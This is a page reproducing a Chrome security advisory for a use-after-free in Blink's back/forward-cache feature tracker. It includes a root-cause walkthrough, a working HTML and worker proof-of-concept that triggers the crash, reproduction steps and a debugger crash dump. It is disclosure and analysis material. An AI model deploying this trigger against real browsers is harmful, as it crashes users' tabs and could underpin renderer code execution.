Skip to content
Memory corruption Advisory Advanced CVE-2024-5157

Use after free in Scheduling (CVE-2024-5157)

A use-after-free in Chrome's BackForwardCacheDisablingFeatureTracker occurs when a parent worker is terminated while its child worker shuts down, causing the tracker to call a method on a freed DedicatedWorkerGlobalScope. An attacker could potentially exploit this to achieve remote code execution in the renderer process.

Looben Yang Follow

Originally disclosed on Chrome VRP

Bounty$11,000 High View original
  • Fix shipped in 31 days

VULNERABILITY DETAILS Specifically crafted HTML file can trigger Use After Free of DedicatedWorkerGlobalScope object in BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate(). This bug can potentially be exploited to achieve one click Remote Code Execution in a renderer process.

The bug lies in BackForwardCacheDisablingFeatureTracker and the tearing down of Worker and Broadcast Channel.

In the PoC, a dedicated worker ("worker0.js") is created by the main web page: worker0 = new Worker("worker0.js");

In worker "worker0.js", a sub worker ("embeddedworker.js") and a BroadcastChannel are instantiated: var embeddedworker = new Worker("embeddedworker.js"); var bc0 = new BroadcastChannel("test_channel");

WorkerSchedulerImpl has member back_forward_cache_disabling_feature_tracker_, of which the delegate_ is set to the corresponding global scope object when the worke thread is initialized:

void WorkerThread::InitializeOnWorkerThread()
	worker_scheduler_->InitializeOnWorkerThread(global_scope_);
	WorkerSchedulerImpl::InitializeOnWorkerThread()	
		back_forward_cache_disabling_feature_tracker_.SetDelegate(delegate);

Normally, when a worker is terminated by its parent context from JS (e.g. "worker0.terminate();" from the PoC), among other things, WorkerThread::PrepareForShutdownOnWorkerThread() and WorkerThread::PerformShutdownOnWorkerThread() are scheduled to be executed in tandem:

void WorkerThread::Terminate() {
...

  scoped_refptr<base::SingleThreadTaskRunner> task_runner =
	  GetWorkerBackingThread().BackingThread().GetTaskRunner();
  PostCrossThreadTask(
	  *task_runner, FROM_HERE,
	  CrossThreadBindOnce(&WorkerThread::PrepareForShutdownOnWorkerThread,
						  CrossThreadUnretained(this)));
  PostCrossThreadTask(
	  *task_runner, FROM_HERE,
	  CrossThreadBindOnce(&WorkerThread::PerformShutdownOnWorkerThread,
						  CrossThreadUnretained(this)));
...
}						  

Callback WorkerThread::PrepareForShutdownOnWorkerThread() would lead to calling of BroadcastChannel::CloseInternal(), which leads to calling of BackForwardCacheDisablingFeatureTracker::NotifyDelegateAboutFeaturesAfterCurrentTask(). Then BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate() is scheduled to be executed after the current task:

WorkerThread::PrepareForShutdownOnWorkerThread()
	GlobalScope()->NotifyContextDestroyed()
	ContextLifecycleNotifier::NotifyContextDestroyed()
		ContextLifecycleObserver::NotifyContextDestroyed()
			BroadcastChannel::CloseInternal()
				feature_handle_for_scheduler_.reset()
				FrameOrWorkerScheduler::SchedulingAffectingFeatureHandle::reset()
					WorkerSchedulerImpl::OnStoppedUsingNonStickyFeature()
						BackForwardCacheDisablingFeatureTracker::Remove()
							NotifyDelegateAboutFeaturesAfterCurrentTask(BackForwardCacheDisablingFeatureTracker::TracingType::kEnd, feature)
							BackForwardCacheDisablingFeatureTracker::NotifyDelegateAboutFeaturesAfterCurrentTask()
									scheduler_->ExecuteAfterCurrentTask(base::BindOnce(&BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate,weak_factory_.GetWeakPtr()));

After the obove task, ReportFeaturesToDelegate() gets executed and the calling of UpdateBackForwardCacheDisablingFeatures() against delegate_ is fine cause DedicatedWorkerGlobalScope object is still alive.

void BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate() {
  ...
  delegate_->UpdateBackForwardCacheDisablingFeatures(details);
  ...
}

Then callback WorkerThread::PerformShutdownOnWorkerThread() would descruct DedicatedWorkerGlobalScope:

WorkerThread::PerformShutdownOnWorkerThread()
	WorkerBackingThread::ShutdownOnBackingThread()
		NonMainThreadImpl::ShutdownOnThread()
			NonMainThreadImpl::SimpleThreadImpl::ShutdownOnThread()
				gc_support_.reset()
					NonMainThreadImpl::GCSupport::~GCSupport()
						ThreadState::DetachCurrentThread()
							ThreadState::~ThreadState()
								HeapBase::Terminate()
									SweeperImpl::FinishIfRunning()
										...
											DedicatedWorkerGlobalScope::~DedicatedWorkerGlobalScope()

However, in the case of two hierarchical workers as the PoC, "worker0.js" is created by the main page, while "embeddedworker.js" is created by "worker0.js". The terminations of worker0 and embeddedworker (by calling "terminate()" from the parent context) can be racy.

In the PoC, the sub worker "embeddedworker.js" does not do any meaningful work. Nonetheless JS code "embeddedworker.terminate()" from worker0.js would shut down worker "embeddedworker.js" similar to the obove procedure(PrepareForShutdownOnWorkerThread and PerformShutdownOnWorkerThread). However, this two step procedure is not the only way of shutting down a worker thread. If certain condition is met, the tearing down of the sub worker thread can trigger the tearing down of the parent worker thread, and more importantly in a single step (PerformShutdownOnWorkerThread).

As part of the shut down procedure of the sub worker "embeddedworker.js", task ThreadedMessagingProxyBase::WorkerThreadTerminated() is scheduled:

WorkerThread::PerformShutdownOnWorkerThread() GetWorkerReportingProxy().DidTerminateWorkerThread() ThreadedObjectProxyBase::DidTerminateWorkerThread() PostCrossThreadTask(*GetParentAgentGroupTaskRunner(), FROM_HERE,CrossThreadBindOnce(&ThreadedMessagingProxyBase::WorkerThreadTerminated, MessagingProxyWeakPtr()));

In ThreadedMessagingProxyBase::WorkerThreadTerminated(), parent worker thread's ChildThreadTerminatedOnWorkerThread() is called:

void ThreadedMessagingProxyBase::WorkerThreadTerminated() {
  ...
  if (parent_thread && child_thread)
	parent_thread->ChildThreadTerminatedOnWorkerThread(child_thread.get());
  ...
}

If requested_to_terminate_ had been set to true because of "worker0.terminate();", CheckRequestedToTerminate() would returns true and so the parent worker thread object's PerformShutdownOnWorkerThread() would be called according to the following code:

void WorkerThread::ChildThreadTerminatedOnWorkerThread(WorkerThread* child) {
  ...
  if (child_threads_.empty() && CheckRequestedToTerminate())
	PerformShutdownOnWorkerThread();
}

The parent worker thread object's PerformShutdownOnWorkerThread() would excute BroadcastChannel::CloseInternal() and the descructor of DedicatedWorkerGlobalScope in the same task. According to the obove analysis, BroadcastChannel::CloseInternal() leads to BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate() being scheduled to be executed after the current task. therefore BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate() is executed after the DedicatedWorkerGlobalScope object is freed, thus "delegate_->UpdateBackForwardCacheDisablingFeatures(details)" is Use After Free.

VERSION Google Chrome 124.0.6367.61 (Official Build) (64-bit) (cohort: Stable Installs & Version Pins) Revision 8771130bd84f76d855ae42fbe02752b03e352f17-refs/branch-heads/6367@{#798} OS Windows 11 Version 22H2 (Build 22621.3447) JavaScript V8 12.4.254.12

BISECT Commit that introduced the bug : https://source.chromium.org/chromium/chromium/src/+/885d999f3c1306166df22f1fd4fd996ba4c4cee0

Active release branches that are impacted:
	Version 126.0.6423.2 (Official Build) dev (64-bit)
	Version 125.0.6422.4 (Official Build) beta (64-bit)
	Version 124.0.6367.61 (Official Build) (64-bit)

REPRODUCTION CASE (whole server code in UAF_ReportFeaturesToDelegate_PoC.js)

Main page code:

<script>
var delDbReq =  indexedDB.deleteDatabase("TestDb1"); 
worker0 = new Worker("worker0.js");
worker0.onerror=function(){
	worker0.terminate();
};
var dbreq0= indexedDB.open("TestDb1",  2);
dbreq0.onupgradeneeded = function(event) {  a= b; 
};
setTimeout(function(){location.reload()},300);
</script>

Worker code (worker0.js): var embeddedworker = new Worker("embeddedworker.js");
var bc0 = new BroadcastChannel("test_channel"); onerror = function (e) { embeddedworker.terminate(); gc(); }; gc = function() { for (var i = 0; i < 0x20000; ++i) var s = new String('AAAA'); };

var dbreq0= indexedDB.open("TestDb1",  2);
 dbreq0.onsuccess = function(event) { db = dbreq0.result;
  var transaction = db.transaction(["customers"], "readwrite");  
};

Steps to reproduce:

  1. Run the PoC with NodeJS: node UAF_ReportFeaturesToDelegate_PoC.js
  2. Enter http://localhost:12345/ from the chrome browser

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION Type of crash: tab Crash State:

(9fa8.b15c): Access violation - code c0000005 (!!! second chance !!!) chrome!blink::scheduler::BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate+0x145: 00007ff84895eb65 488b07 mov rax,qword ptr [rdi] ds:0000032101b219f8=???????????????? 22:477> r rax=00002c8000000000 rbx=0000055c006861b8 rcx=0000000000000000 rdx=00000089807fea50 rsi=0000055c006861a8 rdi=0000032101b219f8 rip=00007ff84895eb65 rsp=00000089807fea30 rbp=0000000000000000 r8=0000000000000000 r9=0000000000000083 r10=00000000546c6148 r11=00000000184eb297 r12=0000000000000000 r13=0000000000000008 r14=0000055c00000000 r15=0000055c00000000 iopl=0 nv up ei ng nz na po cy cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010285 chrome!blink::scheduler::BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate+0x145: 00007ff84895eb65 488b07 mov rax,qword ptr [rdi] ds:0000032101b219f8=???????????????? 22:477> dv this = <value unavailable> details = struct blink::FrameOrWorkerScheduler::Delegate::BlockingDetails 22:477> k

Child-SP RetAddr Call Site

00 00000089807fea30 00007ff849357118 chrome!blink::scheduler::BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate+0x145 [C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\scheduler\common\back_forward_cache_disabling_feature_tracker.cc @ 166] 01 (Inline Function) ---------------- chrome!base::internal::DecayedFunctorTraits<void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::*)(),base::WeakPtr<blink::scheduler::BackForwardCacheDisablingFeatureTracker> &&>::Invoke+0x35 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 738] 02 (Inline Function) ---------------- chrome!base::internal::InvokeHelper<1,base::internal::FunctorTraits<void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::&&)(),base::WeakPtrblink::scheduler::BackForwardCacheDisablingFeatureTracker &&>,void,0>::MakeItSo+0x4c [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 954] 03 (Inline Function) ---------------- chrome!base::internal::Invoker<base::internal::FunctorTraits<void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::*&&)(),base::WeakPtr<blink::scheduler::BackForwardCacheDisablingFeatureTracker> &&>,base::internal::BindState<1,1,0,void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::*)(),base::WeakPtr<blink::scheduler::BackForwardCacheDisablingFeatureTracker> >,void ()>::RunImpl+0x4c [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 1067] 04 (Inline Function) ---------------- chrome!base::internal::Invoker<base::internal::FunctorTraits<void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::&&)(),base::WeakPtrblink::scheduler::BackForwardCacheDisablingFeatureTracker &&>,base::internal::BindState<1,1,0,void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::)(),base::WeakPtrblink::scheduler::BackForwardCacheDisablingFeatureTracker >,void ()>::RunOnce+0x4c [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 980] 05 (Inline Function) ---------------- chrome!base::OnceCallback<void ()>::Run+0x7a [C:\b\s\w\ir\cache\builder\src\base\functional\callback.h @ 156] 06 (Inline Function) ---------------- chrome!blink::scheduler::ThreadSchedulerBase::DispatchOnTaskCompletionCallbacks+0x1d8 [C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\scheduler\common\thread_scheduler_base.cc @ 130] 07 00000089807feaa0 00007ff848700487 chrome!blink::scheduler::WorkerThreadScheduler::OnTaskCompleted+0x248 [C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\scheduler\worker\worker_thread_scheduler.cc @ 207] 08 (Inline Function) ---------------- chrome!blink::scheduler::NonMainThreadTaskQueue::OnTaskCompleted+0x2b5 [C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\scheduler\worker\non_main_thread_task_queue.cc @ 73] 09 (Inline Function) ---------------- chrome!base::internal::DecayedFunctorTraits<void (blink::scheduler::NonMainThreadTaskQueue::)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),blink::scheduler::NonMainThreadTaskQueue *>::Invoke+0x2b5 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 738] 0a (Inline Function) ---------------- chrome!base::internal::InvokeHelper<0,base::internal::FunctorTraits<void (blink::scheduler::NonMainThreadTaskQueue::*const &)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),blink::scheduler::NonMainThreadTaskQueue *>,void,0>::MakeItSo+0x2b5 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 930] 0b (Inline Function) ---------------- chrome!base::internal::Invoker<base::internal::FunctorTraits<void (blink::scheduler::NonMainThreadTaskQueue::*const &)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),blink::scheduler::NonMainThreadTaskQueue >,base::internal::BindState<1,1,0,void (blink::scheduler::NonMainThreadTaskQueue::)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),base::internal::UnretainedWrapperblink::scheduler::NonMainThreadTaskQueue,base::unretained_traits::MayNotDangle,0 >,void (const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *)>::RunImpl+0x2b5 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 1067] 0c (Inline Function) ---------------- chrome!base::internal::Invoker<base::internal::FunctorTraits<void (blink::scheduler::NonMainThreadTaskQueue::*const &)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),blink::scheduler::NonMainThreadTaskQueue *>,base::internal::BindState<1,1,0,void (blink::scheduler::NonMainThreadTaskQueue::*)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),base::internal::UnretainedWrapper<blink::scheduler::NonMainThreadTaskQueue,base::unretained_traits::MayNotDangle,0> >,void (const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *)>::Run+0x2b5 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 987] 0d (Inline Function) ---------------- chrome!base::RepeatingCallback<void (const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *)>::Run+0x2b5 [C:\b\s\w\ir\cache\builder\src\base\functional\callback.h @ 344] 0e (Inline Function) ---------------- chrome!base::sequence_manager::internal::TaskQueueImpl::OnTaskCompleted+0x2b5 [C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\task_queue_impl.cc @ 1371] 0f (Inline Function) ---------------- chrome!base::sequence_manager::internal::SequenceManagerImpl::NotifyDidProcessTask+0xc27 [C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\sequence_manager_impl.cc @ 905] 10 00000089807feb20 00007ff848787f80 chrome!base::sequence_manager::internal::SequenceManagerImpl::DidRunTask+0xcb7 [C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\sequence_manager_impl.cc @ 674] 11 (Inline Function) ---------------- chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl+0x791 [C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 489] 12 00000089807fec20 00007ff849898818 chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork+0x840 [C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 338] 13 00000089807ff3d0 00007ff8496b1c0a chrome!base::MessagePumpDefault::Run+0x78 [C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_default.cc @ 42] 14 00000089807ff470 00007ff846810b82 chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run+0xea [C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 644] 15 00000089807ff4f0 00007ff84680ff08 chrome!base::RunLoop::Run+0x1e2 [C:\b\s\w\ir\cache\builder\src\base\run_loop.cc @ 136] 16 00000089807ff620 00007ff8462de84d chrome!blink::scheduler::NonMainThreadImpl::SimpleThreadImpl::Run+0x2d8 [C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\scheduler\worker\non_main_thread_impl.cc @ 189] 17 00000089807ff710 00007ff8b98f257d chrome!base::anonymous namespace'::ThreadFunc+0x11d [C:\b\s\w\ir\cache\builder\src\base\threading\platform_thread_win.cc @ 133] 18 00000089807ff7a0 00007ff8bbc0aa48 KERNEL32!BaseThreadInitThunk+0x1d 19 00000089807ff7d0 0000000000000000 ntdll!RtlUserThreadStart+0x28

CREDIT INFORMATION Reporter credit: Looben Yang

The original report as published on the Chromium issue tracker, by Looben Yang. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

This is a use after free in Chrome's Blink scheduler, specifically in BackForwardCacheDisablingFeatureTracker. The class exists to tell the browser which features a frame or worker is using that would prevent it from being placed in the back/forward cache. When a feature starts or stops being used, the tracker records it and, at the end of the current task, reports the accumulated set to a delegate object through UpdateBackForwardCacheDisablingFeatures().

For a dedicated worker, the delegate is the worker's global scope object, a DedicatedWorkerGlobalScope. The tracker lives on WorkerSchedulerImpl as the member back_forward_cache_disabling_feature_tracker_, and the delegate is wired up when the worker thread is initialised:

Text
void WorkerThread::InitializeOnWorkerThread()
	worker_scheduler_->InitializeOnWorkerThread(global_scope_);
	WorkerSchedulerImpl::InitializeOnWorkerThread()
		back_forward_cache_disabling_feature_tracker_.SetDelegate(delegate);

The report describes a crafted HTML file that frees the DedicatedWorkerGlobalScope while a deferred call to ReportFeaturesToDelegate() is still pending, so the callback dereferences a dangling delegate. The author notes it can potentially be exploited for one click remote code execution in a renderer process.

Setup

The researcher reproduced on:

Item Value
Product Google Chrome
Version 124.0.6367.61 (Official Build) (64-bit) (cohort: Stable Installs & Version Pins)
Revision [redacted]-refs/branch-heads/6367@{#798}
OS Windows 11 Version 22H2 (Build 22621.3447)
JavaScript V8 [redacted]

The bisect identified the introducing commit as [redacted] in the Chromium source. The impacted release branches listed were:

  • Version 126.0.6423.2 (Official Build) dev (64-bit)
  • Version 125.0.6422.4 (Official Build) beta (64-bit)
  • Version 124.0.6367.61 (Official Build) (64-bit)

The reproduction is served locally: the whole server code is in UAF_ReportFeaturesToDelegate_PoC.js, run with NodeJS, and the page is opened at http://localhost:12345/. No account or special browser flag is mentioned.

Finding it

The researcher traced the normal worker shutdown path and noticed that the tracker's report is deferred to the end of the current task, while the global scope can be destroyed in that same task under a particular ordering. The key observation is that a worker can be torn down in two ways: the usual two-step sequence (PrepareForShutdownOnWorkerThread() followed by PerformShutdownOnWorkerThread()), or, when a child worker terminates and the parent has already been asked to terminate, a single-step PerformShutdownOnWorkerThread() on the parent. The single-step path runs BroadcastChannel::CloseInternal() and the DedicatedWorkerGlobalScope destructor in the same task, which is exactly the ordering that leaves the deferred report pointing at freed memory.

Exploitation

Step 1: create the worker hierarchy and a BroadcastChannel

The main page creates a dedicated worker, worker0.js:

JavaScript
worker0 = new Worker("worker0.js");

Inside worker0.js, a sub worker and a BroadcastChannel are instantiated:

JavaScript
var embeddedworker = new Worker("embeddedworker.js");
var bc0 = new BroadcastChannel("test_channel");

The BroadcastChannel's teardown resets a scheduling-affecting feature handle, which is what schedules the deferred report. The sub worker is what makes the single-step parent shutdown reachable.

Step 2: trigger termination from the parent context

When a worker is terminated from JS by its parent, for example with worker0.terminate();, WorkerThread::Terminate() posts two tasks to the worker backing thread:

Text
void WorkerThread::Terminate() {
...

  scoped_refptr<base::SingleThreadTaskRunner> task_runner =
	  GetWorkerBackingThread().BackingThread().GetTaskRunner();
  PostCrossThreadTask(
	  *task_runner, FROM_HERE,
	  CrossThreadBindOnce(&WorkerThread::PrepareForShutdownOnWorkerThread,
						  CrossThreadUnretained(this)));
  PostCrossThreadTask(
	  *task_runner, FROM_HERE,
	  CrossThreadBindOnce(&WorkerThread::PerformShutdownOnWorkerThread,
						  CrossThreadUnretained(this)));
...
}

In the normal case, PrepareForShutdownOnWorkerThread() walks down to BroadcastChannel::CloseInternal(), which resets the feature handle and ends up scheduling the report for after the current task:

Text
WorkerThread::PrepareForShutdownOnWorkerThread()
	GlobalScope()->NotifyContextDestroyed()
	ContextLifecycleNotifier::NotifyContextDestroyed()
		ContextLifecycleObserver::NotifyContextDestroyed()
			BroadcastChannel::CloseInternal()
				feature_handle_for_scheduler_.reset()
				FrameOrWorkerScheduler::SchedulingAffectingFeatureHandle::reset()
					WorkerSchedulerImpl::OnStoppedUsingNonStickyFeature()
						BackForwardCacheDisablingFeatureTracker::Remove()
							NotifyDelegateAboutFeaturesAfterCurrentTask(BackForwardCacheDisablingFeatureTracker::TracingType::kEnd, feature)
							BackForwardCacheDisablingFeatureTracker::NotifyDelegateAboutFeaturesAfterCurrentTask()
									scheduler_->ExecuteAfterCurrentTask(base::BindOnce(&BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate,weak_factory_.GetWeakPtr()));

At this point the report runs while the global scope is still alive, so the delegate call is fine:

Text
void BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate() {
  ...
  delegate_->UpdateBackForwardCacheDisablingFeatures(details);
  ...
}

Then PerformShutdownOnWorkerThread() destroys the DedicatedWorkerGlobalScope through the backing thread teardown chain:

Text
WorkerThread::PerformShutdownOnWorkerThread()
	WorkerBackingThread::ShutdownOnBackingThread()
		NonMainThreadImpl::ShutdownOnThread()
			NonMainThreadImpl::SimpleThreadImpl::ShutdownOnThread()
				gc_support_.reset()
					NonMainThreadImpl::GCSupport::~GCSupport()
						ThreadState::DetachCurrentThread()
							ThreadState::~ThreadState()
								HeapBase::Terminate()
									SweeperImpl::FinishIfRunning()
										...
											DedicatedWorkerGlobalScope::~DedicatedWorkerGlobalScope()

Step 3: make the parent shutdown single-step

With two hierarchical workers, the terminations of worker0 and embeddedworker can be racy. Calling embeddedworker.terminate() from worker0.js shuts the sub worker down through the same two-step procedure, but the sub worker's teardown also schedules ThreadedMessagingProxyBase::WorkerThreadTerminated() on the parent agent group task runner:

Text
WorkerThread::PerformShutdownOnWorkerThread()
	GetWorkerReportingProxy().DidTerminateWorkerThread()
	ThreadedObjectProxyBase::DidTerminateWorkerThread()
		    PostCrossThreadTask(*GetParentAgentGroupTaskRunner(), FROM_HERE,CrossThreadBindOnce(&ThreadedMessagingProxyBase::WorkerThreadTerminated, MessagingProxyWeakPtr()));

That callback notifies the parent worker thread:

Text
void ThreadedMessagingProxyBase::WorkerThreadTerminated() {
  ...
  if (parent_thread && child_thread)
	parent_thread->ChildThreadTerminatedOnWorkerThread(child_thread.get());
  ...
}

If requested_to_terminate_ was already set because of worker0.terminate();, CheckRequestedToTerminate() returns true and the parent runs PerformShutdownOnWorkerThread() directly:

Text
void WorkerThread::ChildThreadTerminatedOnWorkerThread(WorkerThread* child) {
  ...
  if (child_threads_.empty() && CheckRequestedToTerminate())
	PerformShutdownOnWorkerThread();
}

Now the parent's PerformShutdownOnWorkerThread() executes BroadcastChannel::CloseInternal() and the DedicatedWorkerGlobalScope destructor in the same task. CloseInternal() still schedules ReportFeaturesToDelegate() for after the current task, so the callback runs after the global scope has been freed and delegate_->UpdateBackForwardCacheDisablingFeatures(details) is a use after free.

Step 4: the PoC

The main page code:

HTML
<script>
var delDbReq =  indexedDB.deleteDatabase("TestDb1");
worker0 = new Worker("worker0.js");
worker0.onerror=function(){
	worker0.terminate();
};
var dbreq0= indexedDB.open("TestDb1",  2);
dbreq0.onupgradeneeded = function(event) {  a= b;
};
setTimeout(function(){location.reload()},300);
</script>

The worker code (worker0.js):

JavaScript
var embeddedworker = new Worker("embeddedworker.js");
var bc0 = new BroadcastChannel("test_channel");
onerror  = function (e) {
embeddedworker.terminate();
  gc();
 };
gc = function()
{
  for (var i = 0; i < 0x20000; ++i)
	var s = new String('AAAA');
};

var dbreq0= indexedDB.open("TestDb1",  2);
 dbreq0.onsuccess = function(event) { db = dbreq0.result;
  var transaction = db.transaction(["customers"], "readwrite");
};

The main page deletes and reopens an IndexedDB database, and the onupgradeneeded handler throws (a= b;). The worker's onerror handler terminates the sub worker and then runs a loop that allocates strings. The worker also opens the same IndexedDB database. The page reloads itself after 300 ms.

Steps to reproduce:

  1. Run the PoC with NodeJS: node UAF_ReportFeaturesToDelegate_PoC.js
  2. Enter http://localhost:12345/ from the chrome browser

Step 5: the crash

The crash is a tab crash with an access violation in ReportFeaturesToDelegate:

Text
(9fa8.b15c): Access violation - code c0000005 (!!! second chance !!!)
chrome!blink::scheduler::BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate+0x145:
00007ff8`4895eb65 488b07          mov     rax,qword ptr [rdi] ds:00000321`01b219f8=????????????????
22:477> r
rax=00002c8000000000 rbx=0000055c006861b8 rcx=0000000000000000
rdx=00000089807fea50 rsi=0000055c006861a8 rdi=0000032101b219f8
rip=00007ff84895eb65 rsp=00000089807fea30 rbp=0000000000000000
 r8=0000000000000000  r9=0000000000000083 r10=00000000546c6148
r11=00000000184eb297 r12=0000000000000000 r13=0000000000000008
r14=0000055c00000000 r15=0000055c00000000
iopl=0         nv up ei ng nz na po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010285
chrome!blink::scheduler::BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate+0x145:
00007ff8`4895eb65 488b07          mov     rax,qword ptr [rdi] ds:00000321`01b219f8=????????????????
22:477> dv
           this = <value unavailable>
        details = struct blink::FrameOrWorkerScheduler::Delegate::BlockingDetails
22:477> k
 # Child-SP          RetAddr               Call Site
00 00000089`807fea30 00007ff8`49357118     chrome!blink::scheduler::BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate+0x145 [C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\scheduler\common\back_forward_cache_disabling_feature_tracker.cc @ 166]
01 (Inline Function) --------`--------     chrome!base::internal::DecayedFunctorTraits<void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::*)(),base::WeakPtr<blink::scheduler::BackForwardCacheDisablingFeatureTracker> &&>::Invoke+0x35 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 738]
02 (Inline Function) --------`--------     chrome!base::internal::InvokeHelper<1,base::internal::FunctorTraits<void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::*&&)(),base::WeakPtr<blink::scheduler::BackForwardCacheDisablingFeatureTracker> &&>,void,0>::MakeItSo+0x4c [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 954]
03 (Inline Function) --------`--------     chrome!base::internal::Invoker<base::internal::FunctorTraits<void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::*&&)(),base::WeakPtr<blink::scheduler::BackForwardCacheDisablingFeatureTracker> &&>,base::internal::BindState<1,1,0,void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::*)(),base::WeakPtr<blink::scheduler::BackForwardCacheDisablingFeatureTracker> >,void ()>::RunImpl+0x4c [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 1067]
04 (Inline Function) --------`--------     chrome!base::internal::Invoker<base::internal::FunctorTraits<void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::*&&)(),base::WeakPtr<blink::scheduler::BackForwardCacheDisablingFeatureTracker> &&>,base::internal::BindState<1,1,0,void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::*)(),base::WeakPtr<blink::scheduler::BackForwardCacheDisablingFeatureTracker> >,void ()>::RunOnce+0x4c [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 980]
05 (Inline Function) --------`--------     chrome!base::OnceCallback<void ()>::Run+0x7a [C:\b\s\w\ir\cache\builder\src\base\functional\callback.h @ 156]
06 (Inline Function) --------`--------     chrome!blink::scheduler::ThreadSchedulerBase::DispatchOnTaskCompletionCallbacks+0x1d8 [C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\scheduler\common\thread_scheduler_base.cc @ 130]
07 00000089`807feaa0 00007ff8`48700487     chrome!blink::scheduler::WorkerThreadScheduler::OnTaskCompleted+0x248 [C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\scheduler\worker\worker_thread_scheduler.cc @ 207]
08 (Inline Function) --------`--------     chrome!blink::scheduler::NonMainThreadTaskQueue::OnTaskCompleted+0x2b5 [C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\scheduler\worker\non_main_thread_task_queue.cc @ 73]
09 (Inline Function) --------`--------     chrome!base::internal::DecayedFunctorTraits<void (blink::scheduler::NonMainThreadTaskQueue::*)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),blink::scheduler::NonMainThreadTaskQueue *>::Invoke+0x2b5 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 738]
0a (Inline Function) --------`--------     chrome!base::internal::InvokeHelper<0,base::internal::FunctorTraits<void (blink::scheduler::NonMainThreadTaskQueue::*const &)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),blink::scheduler::NonMainThreadTaskQueue *>,void,0>::MakeItSo+0x2b5 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 930]
